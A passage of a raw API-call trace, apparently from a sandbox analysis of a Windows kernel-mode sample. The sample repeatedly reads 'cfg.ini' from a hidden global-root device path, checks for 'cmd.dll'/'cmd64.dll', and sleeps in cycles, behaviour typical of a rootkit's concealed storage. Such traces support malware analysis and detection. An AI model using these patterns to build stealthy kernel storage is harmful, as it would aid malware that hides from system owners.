[0125.932] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.932] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.932] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.932] IdePortDispatch () returned 0x103 [0125.932] KeWaitForMutexObject () returned 0x0 [0125.932] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.932] KeLeaveCriticalRegion () [0125.932] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.932] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.932] KeEnterCriticalRegion () [0125.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.933] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d22000 [0125.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.933] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.933] IdePortDispatch () returned 0x103 [0125.933] KeWaitForMutexObject () returned 0x0 [0125.933] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.933] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.933] IdePortDispatch () returned 0x103 [0125.933] KeWaitForMutexObject () returned 0x0 [0125.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.933] KeLeaveCriticalRegion () [0125.933] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.934] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.934] KeEnterCriticalRegion () [0125.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.934] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.934] KeLeaveCriticalRegion () [0125.934] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.934] KeEnterCriticalRegion () [0125.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.934] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.934] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.934] KeLeaveCriticalRegion () [0125.934] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.934] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.934] KeEnterCriticalRegion () [0125.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.934] ExFreePoolWithTag (P=0xfffffa8003abf170, Tag=0x0) [0125.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.934] KeLeaveCriticalRegion () [0125.934] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.934] ReleaseMutex (hMutex=0xf0) returned 1 [0125.934] Sleep (dwMilliseconds=0x124f80) [0125.948] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.948] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.948] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.948] KeEnterCriticalRegion () [0125.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.948] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.948] IdePortDispatch () returned 0x103 [0125.948] KeWaitForMutexObject () returned 0x0 [0125.948] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.948] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.948] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.948] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.948] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.948] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa3190 [0125.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.948] KeLeaveCriticalRegion () [0125.949] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.949] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.949] KeEnterCriticalRegion () [0125.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.949] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.949] KeLeaveCriticalRegion () [0125.949] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.949] KeEnterCriticalRegion () [0125.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.949] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.949] IdePortDispatch () returned 0x103 [0125.949] KeWaitForMutexObject () returned 0x0 [0125.949] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.949] KeLeaveCriticalRegion () [0125.949] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.949] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.949] KeEnterCriticalRegion () [0125.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.949] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d27000 [0125.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.949] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.949] IdePortDispatch () returned 0x103 [0125.949] KeWaitForMutexObject () returned 0x0 [0125.952] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.952] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.952] IdePortDispatch () returned 0x103 [0125.952] KeWaitForMutexObject () returned 0x0 [0125.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.952] KeLeaveCriticalRegion () [0125.952] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.953] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.953] KeEnterCriticalRegion () [0125.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.953] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.953] KeLeaveCriticalRegion () [0125.953] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.953] KeEnterCriticalRegion () [0125.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.953] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.953] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac7240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.953] KeLeaveCriticalRegion () [0125.953] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.953] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.953] KeEnterCriticalRegion () [0125.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.953] ExFreePoolWithTag (P=0xfffffa8003aa3190, Tag=0x0) [0125.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.953] KeLeaveCriticalRegion () [0125.953] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.953] ReleaseMutex (hMutex=0xf0) returned 1 [0125.953] Sleep (dwMilliseconds=0x124f80) [0125.967] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.967] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.967] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.967] KeEnterCriticalRegion () [0125.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.967] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.967] IdePortDispatch () returned 0x103 [0125.967] KeWaitForMutexObject () returned 0x0 [0125.968] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.968] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.968] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.968] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.968] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.968] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037edb30 [0125.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.968] KeLeaveCriticalRegion () [0125.968] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.968] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.968] KeEnterCriticalRegion () [0125.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.968] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.968] KeLeaveCriticalRegion () [0125.968] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.968] KeEnterCriticalRegion () [0125.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.968] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.968] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.968] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.968] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.968] IdePortDispatch () returned 0x103 [0125.968] KeWaitForMutexObject () returned 0x0 [0125.968] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.968] KeLeaveCriticalRegion () [0125.968] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.968] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.968] KeEnterCriticalRegion () [0125.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.969] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d7c000 [0125.969] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.969] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.969] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.969] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.969] IdePortDispatch () returned 0x103 [0125.969] KeWaitForMutexObject () returned 0x0 [0125.969] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.969] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.969] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.969] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.969] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.969] IdePortDispatch () returned 0x103 [0125.969] KeWaitForMutexObject () returned 0x0 [0125.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.969] KeLeaveCriticalRegion () [0125.969] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.970] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.970] KeEnterCriticalRegion () [0125.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.970] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.970] KeLeaveCriticalRegion () [0125.970] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.970] KeEnterCriticalRegion () [0125.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.970] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.970] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037dc3a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.970] KeLeaveCriticalRegion () [0125.970] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.970] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.970] KeEnterCriticalRegion () [0125.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.970] ExFreePoolWithTag (P=0xfffffa80037edb30, Tag=0x0) [0125.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.970] KeLeaveCriticalRegion () [0125.970] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.970] ReleaseMutex (hMutex=0xf0) returned 1 [0125.970] Sleep (dwMilliseconds=0x124f80) [0125.984] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.984] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.984] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.984] KeEnterCriticalRegion () [0125.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.984] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.984] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.984] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.984] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.984] IdePortDispatch () returned 0x103 [0125.984] KeWaitForMutexObject () returned 0x0 [0125.984] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.984] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.984] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.984] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.984] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.984] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003713810 [0125.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.984] KeLeaveCriticalRegion () [0125.984] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.985] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.985] KeEnterCriticalRegion () [0125.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.985] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.985] KeLeaveCriticalRegion () [0125.985] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.985] KeEnterCriticalRegion () [0125.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.985] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.985] IdePortDispatch () returned 0x103 [0125.985] KeWaitForMutexObject () returned 0x0 [0125.985] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.985] KeLeaveCriticalRegion () [0125.985] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.985] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.985] KeEnterCriticalRegion () [0125.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.985] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d81000 [0125.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.985] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.985] IdePortDispatch () returned 0x103 [0125.985] KeWaitForMutexObject () returned 0x0 [0125.986] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.986] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.986] IdePortDispatch () returned 0x103 [0125.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 